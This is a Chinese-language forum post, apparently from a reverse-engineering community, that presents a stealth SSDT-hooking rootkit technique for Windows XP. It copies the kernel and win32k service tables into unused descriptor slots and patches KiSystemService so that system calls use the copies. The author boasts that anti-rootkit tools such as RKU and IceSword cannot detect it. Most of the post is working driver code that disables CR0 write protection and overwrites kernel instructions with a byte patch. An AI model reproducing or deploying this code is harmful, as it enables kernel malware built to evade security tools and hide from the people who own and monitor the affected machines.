前天看到一篇同样标题的文章(我转载到其他地方也被BS),但后来被作者删了,我也来一篇共勉一下。
SSDT HOOK是个很古老的话题了,基本上是ring0 rookit入门的第一课。我们先来重温一下系统服务表结构:
代码:
typedef struct _SERVICE_DESCRIPTOR_TABLE_SHADOW { SERVICE_DESCRIPTOR_TABLE ntoskrnl; //ntoskrnl.exe SERVICE_DESCRIPTOR_TABLE win32k; //win32k.sys SERVICE_DESCRIPTOR_TABLE NotUse1; //未使用 SERVICE_DESCRIPTOR_TABLE NotUse2; //未使用 }SERVICE_DESCRIPTOR_TABLE_SHADOW,*PSERVICE_DESCRIPTOR_TABLE_SHADOW;
这里的思路是,复制ntoskrnl及win32k,将他们分别放到NotUse1及NotUse2,完了之后想办法让系统调用进入我们新建的NotUse1及NotUse2,这样我们修改复制后的表就可以实现SSDT HOOK,我们不需要对原表做任何修改,所以ARK工具也就检测不了了。
上面思路一个难点就是让系统调用进入NotUse1及NotUse2而不是原来的ntoskrnl及win32k,很幸运,我在KiSystemService找到一个很好的地方如下:
代码:
inc large dword ptr fs:638h //<--这里是用来纪录system calls的,没太大用处,可以替换掉 mov esi, edx mov ebx, [edi+0Ch] //<--edi保存的就是服务表中的ntoskrnl或者win32k xor ecx, ecx mov cl, [eax+ebx] mov edi, [edi] mov ebx, [edi+eax*4] sub esp, ecx shr ecx, 2 mov edi, esp cmp esi, ds:_MmUserProbeAddress //上面代码是XP系统的,其他windows系统也有类似代码
测试结果,R.K.U、IceSword及我所用到的SSDT HOOK检测工具都检测不出。特别,上面花那么大力气修改inc large dword ptr fs:638h指令就是避免了长跳转,使R.K.U无法发现代码已经被修改。
代码:
BOOLEAN AddMyServiceTable( ) { if( !g_bIsMyServiceTableCreated ){ DbgPrint( "AddMyServiceTable() Create Service table first !\n" ); return FALSE; } __asm{ cli mov eax,cr0 and eax,not 10000h mov cr0,eax } RtlCopyMemory( (PVOID)&KeServiceDescriptorTable->NotUse1, (PVOID)&mKeServiceDescriptorTable->ntoskrnl, sizeof(SERVICE_DESCRIPTOR_TABLE)*2 ); RtlCopyMemory( (PVOID)&KeServiceDescriptorTableShadow->NotUse1, (PVOID)&mKeServiceDescriptorTableShadow->ntoskrnl, sizeof(SERVICE_DESCRIPTOR_TABLE)*2 ); __asm{ mov eax,cr0 or eax,10000h mov cr0,eax sti } return TRUE; }
代码:
BOOLEAN HookSysCall( ) { //add edi,20h //nop .... // UCHAR cHackCode[] = { 0x83,0xC7,0x20,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 }; KIRQL oldIrql; if( g_bIsHooked ) return TRUE; if( !g_bAddressInited ){ DbgPrint( "Syscall address not inited\n" ); return FALSE; } if( KiSystemService_hack_code_size > sizeof( cHackCode ) ){ return FALSE; } __asm{ cli mov eax,cr0 and eax,not 10000h mov cr0,eax } RtlCopyMemory( g_pSysCallOrigCode,(PVOID)KiSystemService_hack_address,KiSystemService_hack_code_size ); KeRaiseIrql( DISPATCH_LEVEL,&oldIrql ); RtlCopyMemory( (PVOID)KiSystemService_hack_address,cHackCode,KiSystemService_hack_code_size ); KeLowerIrql( oldIrql ); __asm{ mov eax,cr0 or eax,10000h mov cr0,eax sti } g_bIsHooked = TRUE; return TRUE; }
发文之前,我没有google baidu有没有人发过相似的文章,如有雷同,我也 肯定不会删。